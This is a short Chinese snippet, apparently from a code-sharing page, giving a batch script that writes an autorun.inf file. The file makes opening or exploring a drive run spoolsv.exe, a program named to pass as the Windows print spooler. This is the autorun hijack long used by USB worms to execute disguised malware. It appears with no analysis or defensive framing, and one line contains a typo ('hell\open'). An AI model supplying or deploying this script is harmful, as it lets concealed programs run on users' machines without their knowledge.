批处理写入文件

@echo off

(echo [AuToRun]

echo open=spoolsv.exe

echo hell\open=打开(^&O^)

echo shell\open\Command=spoolsv.exe

echo shell\open\Default=1

echo shell\explore=资源管理器(^&X^)

echo shell\explore\Command=spoolsv.exe)>autorun.inf

  

你可能感兴趣的:(批处理)